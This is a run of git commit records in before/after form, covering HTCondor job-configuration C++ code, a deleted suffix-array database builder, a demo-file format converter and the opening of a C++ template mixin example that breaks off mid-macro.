ATTR_JOB_ENVIRONMENT1, \"environment\" );\n\tgetString( 0, ATTR_JOB_ENVIRONMENT2, \"environment2\" );\n\tgetString( 0, ATTR_JAR_FILES, \"jar_files\" );\n\tgetInt( 0, ATTR_KILL_SIG, \"kill_sig\" );\n\tgetBool( 0, ATTR_STARTER_WAIT_FOR_DEBUG, \"starter_wait_for_debug\" );\n\tgetString( 0, ATTR_STARTER_ULOG_FILE, \"log\" );\n\tgetBool( 0, ATTR_STARTER_ULOG_USE_XML, \"log_use_xml\" );\n\n\t\t\/\/ only check for cluster and proc in the config file if we\n\t\t\/\/ didn't get them on the command-line\n\tif( job_cluster < 0 ) { \n\t\tgetInt( 0, ATTR_CLUSTER_ID, \"cluster\" );\n\t} else {\n\t\tjob_ad->Assign( ATTR_CLUSTER_ID, job_cluster );\n\t}\n\tif( job_proc < 0 ) {\n\t\tgetInt( 1, ATTR_PROC_ID, \"proc\" );\n\t} else {\n\t\tjob_ad->Assign( ATTR_PROC_ID, job_proc );\n\t}\n\treturn true;\n}\n\n\nbool\nJICLocalConfig::getString( bool warn, const char* attr, \n\t\t\t\t\t\t   const char* alt_name )\n{\n\treturn getAttr( warn, true, attr, alt_name );\n}\n\n\nbool\nJICLocalConfig::getBool( bool warn, const char* attr,\n\t\t\t\t\t\t const char* alt_name )\n{\n\treturn getAttr( warn, false, attr, alt_name );\n}\n\n\nbool\nJICLocalConfig::getInt( bool warn, const char* attr,\n\t\t\t\t\t\tconst char* alt_name )\n{\n\treturn getAttr( warn, false, attr, alt_name );\n}\n\n\nbool\nJICLocalConfig::getAttr( bool warn, bool is_string, const char* attr, \n\t\t\t\t\t\t const char* alt_name )\n{\n\tchar* tmp;\n\tchar param_name[256];\n\tMyString expr;\n\tbool needs_quotes = false;\n\n\tif( job_ad->LookupExpr(attr) ) {\n\t\t\t\/\/ we've already got this attribute in our ClassAd, we're\n\t\t\t\/\/ done.  \n\t\treturn true;\n\t}\n\n\tsprintf( param_name, \"%s_%s\", key, attr );\n\ttmp = param( param_name );\n\tif( ! tmp && alt_name ) {\n\t\tsprintf( param_name, \"%s_%s\", key, alt_name );\n\t\ttmp = param( param_name );\n\t}\n\tif( ! tmp ) {\n\t\tif( warn ) {\n\t\t\tdprintf( D_ALWAYS, \n\t\t\t\t\t \"\\\"%s\\\" not found in config file\\n\", \n\t\t\t\t\t param_name );\n\t\t}\n\t\treturn false;\n\t}\n\tif( is_string && tmp[0] != '\"' ) {\n\t\tneeds_quotes = true;\n\t}\n\n\texpr = attr;\n\texpr += \" = \";\n\tif( needs_quotes ) {\n\t\texpr += \"\\\"\";\n\t}\n\texpr += tmp;\n\tif( needs_quotes ) {\n\t\texpr += \"\\\"\";\n\t}\n\tfree( tmp );\n\n\tif( job_ad->Insert(expr.Value()) ) {\n\t\treturn true;\n\t}\n\tdprintf( D_ALWAYS, \"ERROR: Failed to insert into job ad: %s\\n\",\n\t\t\t expr.Value() );\n\treturn false;\n}\n\n\nbool\nJICLocalConfig::getUniverse( void ) \n{\n\tchar* tmp;\n\tchar param_name[256];\n\tint univ = 0;\n \n\t\t\/\/ first try the ClassAd attr name:\n\tsprintf( param_name, \"%s_%s\", key, ATTR_JOB_UNIVERSE );\n\ttmp = param( param_name );\n\tif( ! tmp ) {\n\t\t\t\/\/ now, try just \"key_universe\"\n\t\tsprintf( param_name, \"%s_universe\", key );\n\t\ttmp = param( param_name );\n\t\tif( ! tmp ) {\n\t\t\tdprintf( D_ALWAYS, \"\\\"%s\\\" not found in config file\\n\",\n\t\t\t\t\t param_name );\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\t\/\/ tmp now holds whatever they told us the universe should be.\n\t\t\/\/ however, it might be a string universe name, or the integer\n\t\t\/\/ of the universe we eventually want.  first, see if it's\n\t\t\/\/ just an integer already...\n\tuniv = atoi( tmp );\n\tif( ! univ ) {\n\t\t\t\/\/ it's not already an int, try to convert from a string. \n\t\tuniv = CondorUniverseNumber( tmp );\n\t}\n\n\t\t\/\/ Make sure the universe we job got is valid.  If the user\n\t\t\/\/ gave a string which wasn't valid, we'll get back a 0, which\n\t\t\/\/ is the same as CONDOR_UNIVERSE_MIN, so we'll catch it.\n\tif( univ >= CONDOR_UNIVERSE_MAX || univ <= CONDOR_UNIVERSE_MIN ) { \n\t\tdprintf( D_ALWAYS, \n\t\t\t\t \"ERROR: Unrecognized %s \\\"%s\\\", aborting\\n\",\n\t\t\t\t param_name, tmp );\n\t\tfree( tmp );\n\t\treturn false;\n\t}\n\t\t\/\/ we're done with this, so avoid leaking by free'ing now.\n\tfree( tmp );\n\ttmp = NULL;\n\n\tif( ! checkUniverse(univ) ) {\n\t\treturn false;\n\t}\n\n\tif( job_ad->Assign( ATTR_JOB_UNIVERSE, univ ) ) {\n\t\treturn true;\n\t}\n\tdprintf( D_ALWAYS, \"ERROR: Failed to insert into job ad: %s = %d\\n\",\n\t\t\t ATTR_JOB_UNIVERSE, univ );\n\treturn false;\n}\n\n\n\n<commit_msg>Fix typo in attribute name in previous commit.<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"condor_debug.h\"\n#include \"condor_attributes.h\"\n#include \"domain_tools.h\"\n\n#include \"jic_local_config.h\"\n\n\nJICLocalConfig::JICLocalConfig( const char* keyword, int cluster, \n\t\t\t\t\t\t\t\tint proc, int subproc ) : JICLocal()\n{\n\tif( keyword ) {\n\t\tkey = strdup( keyword );\n\t} else {\n\t\tEXCEPT( \"Can't instantiate a JICLocalConfig object without \"\n\t\t\t\t\"a keyword\" );\n\t}\n\tjob_cluster = cluster;\n\tjob_proc = proc;\n\tjob_subproc = subproc;\n\tjob_ad = new ClassAd();\n\tmach_ad = new ClassAd();\n}\n\n\nJICLocalConfig::JICLocalConfig( int cluster, int proc, int subproc ) \n\t: JICLocal()\n{\n\t\t\/\/ this is the protected version that doesn't care if there's\n\t\t\/\/ no key...  \n\tkey = NULL;\n\tjob_cluster = cluster;\n\tjob_proc = proc;\n\tjob_subproc = subproc;\n\tjob_ad = new ClassAd();\n\tmach_ad = new ClassAd();\n}\n\n\n\nJICLocalConfig::~JICLocalConfig()\n{\n\tif( key ) {\n\t\tfree( key );\n\t}\n}\n\n\nbool\nJICLocalConfig::getLocalJobAd( void )\n{ \n\tif( ! key ) {\n\t\tdprintf( D_ALWAYS, \"ERROR: Cannot get job ClassAd from config file \"\n\t\t\t\t \"without a keyword, aborting\\n\" );\n\t\treturn false;\n\t}\n\n\tdprintf( D_ALWAYS, \"Getting job ClassAd from config file \"\n\t\t\t \"with keyword: \\\"%s\\\"\\n\", key );\n\n\t\t\/\/ first, things we absolutely need\n\tif( ! getUniverse() ) { \n\t\treturn false;\n\t}\n\tif( ! getString( 1, ATTR_JOB_CMD, \"executable\") ) {\n\t\treturn false;\n\t}\n\tif( ! getString( 1, ATTR_JOB_IWD, \"initialdir\") ) {\n\t\treturn false;\n\t}\n\n#if defined ( WIN32 )\t\n\t\t\/\/ Windows \"owners\" may be of the form domain\\user,\n\t\t\/\/ so we'll need to parse it...\n\tMyString buffer;\n\tbuffer.formatstr( \"%s_%s\", key, ATTR_OWNER );\n\tchar *owner_defined = param( buffer.Value () );\n\tif ( owner_defined ) {\t\t\t\n\t\t\t\/\/ On Windows we need to set RunAsOwner for it to \n\t\t\t\/\/ respect the owner attribute (but only when the \n\t\t\t\/\/ starter allows it).\n\t\tbool run_as_owner = param_boolean( \n\t\t\t\"STARTER_ALLOW_RUNAS_OWNER\", false, true, NULL, job_ad );\n\t\tif ( run_as_owner ) {\n\t\t\t\t\/\/ Add the RunAsOwner attribute:\n\t\t\tjob_ad->Assign( ATTR_JOB_RUNAS_OWNER, true );\n\t\t\t\t\/\/ Parse the OWNER attribute and add the new\n\t\t\t\t\/\/ OWNER and NTDOMAIN attributes:\n\t\t\tchar const *local_domain = \".\";\n\t\t\tchar *name = NULL, *domain = NULL;\n\t\t\tgetDomainAndName ( owner_defined, domain, name );\n\t\t\tjob_ad->Assign( ATTR_OWNER, name );\n\t\t\tjob_ad->Assign( ATTR_NT_DOMAIN, domain ? domain : local_domain );\n\t\t} else {\n\t\t\tdprintf( D_ALWAYS, \"Local job \\\"Owner\\\" defined, \"\n\t\t\t\t\"but will not be used: please set \"\n\t\t\t\t\"STARTER_ALLOW_RUNAS_OWNER to True to \"\n\t\t\t\t\"enable this.\\n\" );\n\t\t}\n\t\tfree( owner_defined );\n\t}\t\t\n#else\n\t\t\/\/ ATTR_OWNER only matters if we're running as root, and we'll\n\t\t\/\/ catch it later if we need it and it's not defined.  so,\n\t\t\/\/ just treat it as optional at this point.\n\tgetString( 0, ATTR_OWNER, NULL );\n#endif \n\n\t\t\/\/ now, optional things\n\tgetString( 0, ATTR_JOB_INPUT, \"input\" );\n\tgetString( 0, ATTR_JOB_OUTPUT, \"output\" );\n\tgetString( 0, ATTR_JOB_ERROR, \"error\" );\n\tgetString( 0, ATTR_JOB_ARGUMENTS1, \"arguments\" );\n\tgetString( 0, ATTR_JOB_ARGUMENTS2, \"arguments2\" );\n\tgetString( 0, ATTR_JOB_ENVIRONMENT1, \"environment\" );\n\tgetString( 0, ATTR_JOB_ENVIRONMENT2, \"environment2\" );\n\tgetString( 0, ATTR_JAR_FILES, \"jar_files\" );\n\tgetInt( 0, ATTR_KILL_SIG, \"kill_sig\" );\n\tgetBool( 0, ATTR_STARTER_WAIT_FOR_DEBUG, \"starter_wait_for_debug\" );\n\tgetString( 0, ATTR_STARTER_ULOG_FILE, \"log\" );\n\tgetBool( 0, ATTR_STARTER_ULOG_USE_XML, \"log_use_xml\" );\n\n\t\t\/\/ only check for cluster and proc in the config file if we\n\t\t\/\/ didn't get them on the command-line\n\tif( job_cluster < 0 ) { \n\t\tgetInt( 0, ATTR_CLUSTER_ID, \"cluster\" );\n\t} else {\n\t\tjob_ad->Assign( ATTR_CLUSTER_ID, job_cluster );\n\t}\n\tif( job_proc < 0 ) {\n\t\tgetInt( 1, ATTR_PROC_ID, \"proc\" );\n\t} else {\n\t\tjob_ad->Assign( ATTR_PROC_ID, job_proc );\n\t}\n\treturn true;\n}\n\n\nbool\nJICLocalConfig::getString( bool warn, const char* attr, \n\t\t\t\t\t\t   const char* alt_name )\n{\n\treturn getAttr( warn, true, attr, alt_name );\n}\n\n\nbool\nJICLocalConfig::getBool( bool warn, const char* attr,\n\t\t\t\t\t\t const char* alt_name )\n{\n\treturn getAttr( warn, false, attr, alt_name );\n}\n\n\nbool\nJICLocalConfig::getInt( bool warn, const char* attr,\n\t\t\t\t\t\tconst char* alt_name )\n{\n\treturn getAttr( warn, false, attr, alt_name );\n}\n\n\nbool\nJICLocalConfig::getAttr( bool warn, bool is_string, const char* attr, \n\t\t\t\t\t\t const char* alt_name )\n{\n\tchar* tmp;\n\tchar param_name[256];\n\tMyString expr;\n\tbool needs_quotes = false;\n\n\tif( job_ad->LookupExpr(attr) ) {\n\t\t\t\/\/ we've already got this attribute in our ClassAd, we're\n\t\t\t\/\/ done.  \n\t\treturn true;\n\t}\n\n\tsprintf( param_name, \"%s_%s\", key, attr );\n\ttmp = param( param_name );\n\tif( ! tmp && alt_name ) {\n\t\tsprintf( param_name, \"%s_%s\", key, alt_name );\n\t\ttmp = param( param_name );\n\t}\n\tif( ! tmp ) {\n\t\tif( warn ) {\n\t\t\tdprintf( D_ALWAYS, \n\t\t\t\t\t \"\\\"%s\\\" not found in config file\\n\", \n\t\t\t\t\t param_name );\n\t\t}\n\t\treturn false;\n\t}\n\tif( is_string && tmp[0] != '\"' ) {\n\t\tneeds_quotes = true;\n\t}\n\n\texpr = attr;\n\texpr += \" = \";\n\tif( needs_quotes ) {\n\t\texpr += \"\\\"\";\n\t}\n\texpr += tmp;\n\tif( needs_quotes ) {\n\t\texpr += \"\\\"\";\n\t}\n\tfree( tmp );\n\n\tif( job_ad->Insert(expr.Value()) ) {\n\t\treturn true;\n\t}\n\tdprintf( D_ALWAYS, \"ERROR: Failed to insert into job ad: %s\\n\",\n\t\t\t expr.Value() );\n\treturn false;\n}\n\n\nbool\nJICLocalConfig::getUniverse( void ) \n{\n\tchar* tmp;\n\tchar param_name[256];\n\tint univ = 0;\n \n\t\t\/\/ first try the ClassAd attr name:\n\tsprintf( param_name, \"%s_%s\", key, ATTR_JOB_UNIVERSE );\n\ttmp = param( param_name );\n\tif( ! tmp ) {\n\t\t\t\/\/ now, try just \"key_universe\"\n\t\tsprintf( param_name, \"%s_universe\", key );\n\t\ttmp = param( param_name );\n\t\tif( ! tmp ) {\n\t\t\tdprintf( D_ALWAYS, \"\\\"%s\\\" not found in config file\\n\",\n\t\t\t\t\t param_name );\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\t\/\/ tmp now holds whatever they told us the universe should be.\n\t\t\/\/ however, it might be a string universe name, or the integer\n\t\t\/\/ of the universe we eventually want.  first, see if it's\n\t\t\/\/ just an integer already...\n\tuniv = atoi( tmp );\n\tif( ! univ ) {\n\t\t\t\/\/ it's not already an int, try to convert from a string. \n\t\tuniv = CondorUniverseNumber( tmp );\n\t}\n\n\t\t\/\/ Make sure the universe we job got is valid.  If the user\n\t\t\/\/ gave a string which wasn't valid, we'll get back a 0, which\n\t\t\/\/ is the same as CONDOR_UNIVERSE_MIN, so we'll catch it.\n\tif( univ >= CONDOR_UNIVERSE_MAX || univ <= CONDOR_UNIVERSE_MIN ) { \n\t\tdprintf( D_ALWAYS, \n\t\t\t\t \"ERROR: Unrecognized %s \\\"%s\\\", aborting\\n\",\n\t\t\t\t param_name, tmp );\n\t\tfree( tmp );\n\t\treturn false;\n\t}\n\t\t\/\/ we're done with this, so avoid leaking by free'ing now.\n\tfree( tmp );\n\ttmp = NULL;\n\n\tif( ! checkUniverse(univ) ) {\n\t\treturn false;\n\t}\n\n\tif( job_ad->Assign( ATTR_JOB_UNIVERSE, univ ) ) {\n\t\treturn true;\n\t}\n\tdprintf( D_ALWAYS, \"ERROR: Failed to insert into job ad: %s = %d\\n\",\n\t\t\t ATTR_JOB_UNIVERSE, univ );\n\treturn false;\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>null-check of pointer added<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixed\/Completed buffer copy range checks.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix mn payment method<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>tweak<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"db_construction.h\"\n#include \"fastafile_reader.h\"\n#include \"encoder.h\"\n#include \"sais.h\"\n#include \"raccess.h\"\n#include <math.h>\n#include <time.h> \n          \nvoid DbConstruction::Run(const DbConstructionParameters parameters){\n  vector<string> sequences; sequences.reserve(10);\n  vector<unsigned char> encoded_sequences;\n  vector<int> suffix_array;\n  vector<vector <int> > start_hash; start_hash.reserve(parameters.GetHashSize());\n  vector<vector <int> > end_hash; start_hash.reserve(parameters.GetHashSize());\n\n  ReadFastaFile(parameters, sequences);\n  CalculateAccessibility(parameters,sequences);\n  ConstructSuffixArray(parameters, sequences,encoded_sequences,suffix_array);\n  ConstructHashForShortSubstring(parameters, encoded_sequences, suffix_array, start_hash, end_hash);\n\n  SaveIndexData(parameters.GetDbFilename(), suffix_array, start_hash, end_hash);\n  SaveSequenceData(parameters.GetDbFilename(), sequences, encoded_sequences);\n  \n}\n\nvoid DbConstruction::ReadFastaFile(const DbConstructionParameters parameters,  vector<string> &sequences){\n  vector<string> names; names.reserve(10);\n  FastafileReader fastafile_reader;\n  fastafile_reader.ReadFastafile(parameters.GetInputFilename(), sequences, names);\n  SaveBasicInformation(parameters, names);\n}\n\nvoid DbConstruction::CalculateAccessibility(const DbConstructionParameters parameters, vector<string> &sequences){\n  Raccess raccess(parameters.GetDbFilename(), parameters.GetMaximalSpan(), parameters.GetMinAccessibleLength());\n  for (int i = 0; i < sequences.size() ; i++){\n    raccess.Run(sequences[i]);\n  }\n}\n\nvoid DbConstruction::ConstructSuffixArray(const DbConstructionParameters parameters, vector<string> &sequences,  vector<unsigned char> &encoded_sequences, vector<int> &suffix_array){\n  Encoder encoder(parameters.GetRepeatFlag());\n  encoder.Encode(sequences, encoded_sequences, 1);\n  suffix_array.resize(encoded_sequences.size());\n  sais(&encoded_sequences[0], &suffix_array[0], encoded_sequences.size());\n};\n\nvoid DbConstruction::ConstructHashForShortSubstring(const DbConstructionParameters parameters,  vector<unsigned char> &encoded_sequences, vector<int> &suffix_array, vector<vector <int> > &start_hash, vector<vector <int> > &end_hash){\n  int nucleotide_size = 4;\n  \n  for(int i = 0; i < parameters.GetHashSize(); i++){\n    vector<int> temp_vector; temp_vector.reserve((int)pow(nucleotide_size,i+1));\n    start_hash.push_back(temp_vector);\n    vector<int> temp_vector2; temp_vector2.reserve((int)pow(nucleotide_size,i+1));\n    end_hash.push_back(temp_vector2);\n  }\n\n  int start = 0;  int end = 0;\n  for(int i = 0; i < parameters.GetHashSize(); i++){\n    for(int j  =0; j < (int)pow(nucleotide_size,i+1); j++){\n      unsigned char c = (j%4)+2;\n      if(i == 0){\n\tstart = 0;\n\tend = suffix_array.size()-1;\n      }else{\n\tstart = start_hash[i-1][j\/4];\n\tend = end_hash[i-1][j\/4];\n      }\n      Search(encoded_sequences, suffix_array, &start, &end, c, i);\n      start_hash[i].push_back(start);\n      end_hash[i].push_back(end);\n    }\n  }\n}\n\nvoid DbConstruction::SaveSequenceData(string file_name, vector<string> &sequences, vector<unsigned char> &encoded_sequences){\n  ofstream of((file_name+\".seq\").c_str(), ios::out | ios::binary);\n  int number_of_seq = sequences.size();\n  of.write(reinterpret_cast<const char*>(&number_of_seq), sizeof(int));\n  for(int i = 0; i < number_of_seq; i++){\n    int seq_size = sequences[i].size();\n    of.write(reinterpret_cast<const char*>(&seq_size), sizeof(int));\n  }\n  int count = encoded_sequences.size();\n  vector<unsigned char>::iterator it;\n  of.write(reinterpret_cast<const char*>(&count), sizeof(int));\n  for(it = encoded_sequences.begin(); it != encoded_sequences.end(); it++){\n    of.write(reinterpret_cast<const char*>(&*it), sizeof(unsigned char));\n  }\n  of.close();\n}\n\nvoid  DbConstruction::SaveIndexData(string file_name, vector<int> &suffix_array, vector<vector <int> > &start_hash, vector<vector <int> > &end_hash){\n  ofstream of((file_name+\".ind\").c_str(), ios::out | ios::binary);\n  int count = suffix_array.size();\n  vector<int>::iterator it;\n  of.write(reinterpret_cast<const char*>(&count), sizeof(int));\n  for(it = suffix_array.begin(); it != suffix_array.end(); it++){\n    of.write(reinterpret_cast<const char*>(&*it), sizeof(int));\n  }\n  for(int i = 0; i< start_hash.size();i++){\n    for(it = start_hash[i].begin(); it != start_hash[i].end(); it++){\n      of.write(reinterpret_cast<const char*>(&*it), sizeof(int));\n    }\n  }\n  for(int i = 0; i< end_hash.size();i++){\n    for(it = end_hash[i].begin(); it != end_hash[i].end(); it++){\n      of.write(reinterpret_cast<const char*>(&*it), sizeof(int));\n    }\n  }\n  of.close();\n}\n\nvoid DbConstruction::SaveBasicInformation(DbConstructionParameters parameters, vector<string> &names){\n  ofstream of((parameters.GetDbFilename()+\".bas\").c_str(), ios::out | ios::binary);\n  int hash_size = parameters.GetHashSize();\n  int repeat_flag = parameters.GetRepeatFlag();\n  int maximal_span = parameters.GetMaximalSpan();\n  int min_accessible_length = parameters.GetMinAccessibleLength();\n  of.write(reinterpret_cast<const char*>(&hash_size), sizeof(int));\n  of.write(reinterpret_cast<const char*>(&repeat_flag), sizeof(int));\n  of.write(reinterpret_cast<const char*>(&maximal_span), sizeof(int));\n  of.write(reinterpret_cast<const char*>(&min_accessible_length), sizeof(int));\n\n  of.close();\n  of.open((parameters.GetDbFilename()+\".nam\").c_str(), ios::out);\n  for(int i = 0; i < names.size(); i++){\n    of << names[i] << endl;\n  }\n\n  of.close();\n}\n\nvoid DbConstruction::Search(vector<unsigned char> &encoded_sequences, vector<int> &suffix_array, int* start, int* end, unsigned char c, int offset){\n  int s = *start;\n  int e = *end;\n  int m;\n\n  if (suffix_array[s] + offset >= encoded_sequences.size()) {\n    ++(*start);\n  }\n  \n  if(s>e){\n    *start = 1;\n    *end = 0;\n    return;\n  }else if (s == e) {\n    if (encoded_sequences[suffix_array[s]+offset] == c) {\n      return;\n    } else {\n      *start = 1;\n      *end = 0;\n      return;\n    }\n  }\n  \n  if (encoded_sequences[suffix_array[s]+offset] != c) {\n    while (s < e - 1) {\n      m = (s + e) \/ 2;\n      if (encoded_sequences[suffix_array[m]+offset] < c) {\n        s = m;\n      } else {\n        e = m;\n      }\n    }\n    if (encoded_sequences[suffix_array[e]+offset] != c) {\n      *start = 1;\n      *end = 0;\n      return;\n    }\n    *start = e;\n    s = e;\n    e = *end;\n  }\n\n  if (encoded_sequences[suffix_array[e]+offset] != c) {\n    while (s < e - 1) {\n      m = (s + e) \/ 2;\n      if (encoded_sequences[suffix_array[m]+offset] > c) {\n        e = m;\n      } else {\n        s = m;\n      }\n    }\n    if (encoded_sequences[suffix_array[s]+offset] != c) {\n      *start = 1;\n      *end = 0;\n      return;\n    }\n    *end = s;\n  }\n  return;\n}\n<commit_msg>Delete db_construction.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\n#include \"io\/idemowriter.h\"\n#include \"io\/demoreader.h\"\n#include <cstdio>\n#include <string>\n#include <cassert>\n\nstd::string GetExtension(const std::string& filename)\n{\n    size_t index = filename.find_last_of(\".\");\n    if (index != std::string::npos)\n    {\n        return filename.substr(index + 1);\n    }\n    return std::string();\n}\n\nenum class FileType\n{\n    None,\n    Dem,\n    Json,\n    ConLog\n};\n\nFileType GetFileType(const std::string& filename)\n{\n    std::string ext = GetExtension(filename);\n    if (ext == \"dem\")\n    {\n        return FileType::Dem;\n    }\n    if (ext == \"json\")\n    {\n        return FileType::Json;\n    }\n    if (ext == \"con\")\n    {\n        return FileType::ConLog;\n    }\n    return FileType::None;\n}\n\nint main(const int argc, const char* argv[])\n{\n    if (argc != 3)\n    {\n        fprintf(stderr, \"Usage: %s <in>.dem\/json <out>.dem\/json\/con\\n\", argv[0]);\n        return -1;\n    }\n\n    std::string inputFile(argv[1]);\n    std::string outputFile(argv[2]);\n\n    FileType inputType = GetFileType(inputFile);\n    FileType outputType = GetFileType(outputFile);\n    if (inputType == FileType::None)\n    {\n        fprintf(stderr, \"Error: Bad type for input file\\n\");\n        return -1;\n    }\n    if (outputType == FileType::None)\n    {\n        fprintf(stderr, \"Error: Bad type for output file\\n\");\n        return -1;\n    }\n\n    FILE* inputFp = fopen(inputFile.c_str(), \"rb\");\n    if (!inputFp)\n    {\n        fprintf(stderr, \"Error: Could not open input file\\n\");\n        return -1;\n    }\n\n    FILE* outputFp = fopen(outputFile.c_str(), \"wb\");\n    if (!outputFp)\n    {\n        fprintf(stderr, \"Error: Could not open input file\\n\");\n        fclose(inputFp);\n        return -1;\n    }\n\n    IDemoWriter* writer = nullptr;\n    if (outputType == FileType::Dem)\n    {\n        writer = IDemoWriter::CreateDemoWriter(outputFp);\n    }\n    else if (outputType == FileType::Json)\n    {\n        writer = IDemoWriter::CreateJsonWriter(outputFp);\n    }\n    else if (outputType == FileType::ConLog)\n    {\n        writer = IDemoWriter::CreateConLogWriter(outputFp);\n    }\n    else\n    {\n        assert(false);\n    }\n\n    if (inputType == FileType::Dem)\n    {\n        DemoReader::ProcessDem(inputFp, writer);\n    }\n    else if (inputType == FileType::Json)\n    {\n        DemoReader::ProcessJson(inputFp, writer);\n    }\n    else\n    {\n        assert(false);\n    }\n    fclose(inputFp);\n    fclose(outputFp);\n\n    IDemoWriter::FreeDemoWriter(writer);\n    return 0;\n}\n<commit_msg>Destruct writer before closing files so writer can flush buffers<commit_after>\n#include \"io\/idemowriter.h\"\n#include \"io\/demoreader.h\"\n#include <cstdio>\n#include <string>\n#include <cassert>\n\nstd::string GetExtension(const std::string& filename)\n{\n    size_t index = filename.find_last_of(\".\");\n    if (index != std::string::npos)\n    {\n        return filename.substr(index + 1);\n    }\n    return std::string();\n}\n\nenum class FileType\n{\n    None,\n    Dem,\n    Json,\n    ConLog\n};\n\nFileType GetFileType(const std::string& filename)\n{\n    std::string ext = GetExtension(filename);\n    if (ext == \"dem\")\n    {\n        return FileType::Dem;\n    }\n    if (ext == \"json\")\n    {\n        return FileType::Json;\n    }\n    if (ext == \"con\")\n    {\n        return FileType::ConLog;\n    }\n    return FileType::None;\n}\n\nint main(const int argc, const char* argv[])\n{\n    if (argc != 3)\n    {\n        fprintf(stderr, \"Usage: %s <in>.dem\/json <out>.dem\/json\/con\\n\", argv[0]);\n        return -1;\n    }\n\n    std::string inputFile(argv[1]);\n    std::string outputFile(argv[2]);\n\n    FileType inputType = GetFileType(inputFile);\n    FileType outputType = GetFileType(outputFile);\n    if (inputType == FileType::None)\n    {\n        fprintf(stderr, \"Error: Bad type for input file\\n\");\n        return -1;\n    }\n    if (outputType == FileType::None)\n    {\n        fprintf(stderr, \"Error: Bad type for output file\\n\");\n        return -1;\n    }\n\n    FILE* inputFp = fopen(inputFile.c_str(), \"rb\");\n    if (!inputFp)\n    {\n        fprintf(stderr, \"Error: Could not open input file\\n\");\n        return -1;\n    }\n\n    FILE* outputFp = fopen(outputFile.c_str(), \"wb\");\n    if (!outputFp)\n    {\n        fprintf(stderr, \"Error: Could not open input file\\n\");\n        fclose(inputFp);\n        return -1;\n    }\n\n    IDemoWriter* writer = nullptr;\n    if (outputType == FileType::Dem)\n    {\n        writer = IDemoWriter::CreateDemoWriter(outputFp);\n    }\n    else if (outputType == FileType::Json)\n    {\n        writer = IDemoWriter::CreateJsonWriter(outputFp);\n    }\n    else if (outputType == FileType::ConLog)\n    {\n        writer = IDemoWriter::CreateConLogWriter(outputFp);\n    }\n    else\n    {\n        assert(false);\n    }\n\n    if (inputType == FileType::Dem)\n    {\n        DemoReader::ProcessDem(inputFp, writer);\n    }\n    else if (inputType == FileType::Json)\n    {\n        DemoReader::ProcessJson(inputFp, writer);\n    }\n    else\n    {\n        assert(false);\n    }\n    IDemoWriter::FreeDemoWriter(writer);\n\n    fclose(inputFp);\n    fclose(outputFp);\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This example demonstrates how classes can be extended \/ modified using\n\/\/ mixins and templates\n\/\/ Contruction problem is solved using variadic templates and perfect forwarding\n\n#include <array>\n#include <iostream>\n#include <string>\n#include <typeinfo>\n#include <utility>\n#include <vector>\n\n#include \"cpp_magic.h\"\n#include \"timing.h\"\n\nusing std::ostream;\n\ntemplate <typename Type, typename EnclosingClass, int id>\nstruct SelectAllMembers {\n  typedef Type type;\n};\n\n\/\/\/ Type for removed data members - which can be optimized out by the compiler\nstruct Nulltype {\n  int empty[0] = {};\n  Nulltype() {}\n  template <typename T>\n  Nulltype(T&& d) {}  \/\/ NOLINT(runtime\/explicit)\n  template <typename T>\n  Nulltype& operator=(const T& other) {\n    return *this;\n  }\n  friend ostream& operator<<(ostream& out, const Nulltype& value) {\n    return out;\n  }\n};\n\n\/\/\/ loops over variadic macro arguments and calls the specified operation\n\/\/\/ removes the first three parameters in each iteration, but adds the first one\n\/\/\/ again for the next call\n\/\/\/ e.g. LOOP(OP, a, b, c, d, e) will lead to:\n\/\/\/ OP(a, b, c)\n\/\/\/ OP(a, d, e)\n\/\/\/ For a more detailed explanation see `MAP` macro in `third_party\/cpp_magic.h`\n\/\/ clang-format off\n#define LOOP(operation, first, second, third, ...)           \\\n  operation(first, second, third)                            \\\n  IF(HAS_ARGS(__VA_ARGS__))(                                 \\\n    DEFER2(_LOOP)()(operation, first, __VA_ARGS__))\n#define _LOOP() LOOP\n\/\/ clang-format on\n\n\/\/\/ adds the partial template specialization to select one clazz-member pair\n\/\/\/ only for internal usage - will be called inside LOOP\n\/\/\/ @param name:    selector name\n\/\/\/ @param clazz:   clazz of the data member\n\/\/\/ @param member:  data member name\n#define INTERNAL_SELECT_MEMBER(name, clazz, member)             \\\n  template <typename Type>                                      \\\n  struct name<Type, clazz, clazz::getDataMemberUid##member()> { \\\n    typedef Type type;                                          \\\n  };\n\n\/\/\/ creates a new selector type\n\/\/\/ it only enables the specified data members if applied to a simulation object\n\/\/\/ others will be removed\n#define NEW_MEMBER_SELECTOR(name, ...)                      \\\n  template <typename Type, typename EnclosingClass, int id> \\\n  struct name {                                             \\\n    typedef Nulltype type;                                  \\\n  };                                                        \\\n  EVAL(LOOP(INTERNAL_SELECT_MEMBER, name, __VA_ARGS__))\n\n\/\/\/ adds the partial template specialization to remove one clazz-member pair\n\/\/\/ only for internal usage - will be called inside LOOP\n\/\/\/ @param name:    selector name\n\/\/\/ @param clazz:   clazz of the data member\n\/\/\/ @param member:  data member name\n#define INTERNAL_MEMBER_REMOVER(name, clazz, member)            \\\n  template <typename Type>                                      \\\n  struct name<Type, clazz, clazz::getDataMemberUid##member()> { \\\n    typedef Nulltype type;                                      \\\n  };\n\n\/\/\/ creates a new selector type\n\/\/\/ it removes the specified data members if applied to a simulation object\n\/\/\/ others will be kept -> inverse of NEW_MEMBER_SELECTOR\n#define NEW_MEMBER_REMOVER(name, ...)                       \\\n  template <typename Type, typename EnclosingClass, int id> \\\n  struct name {                                             \\\n    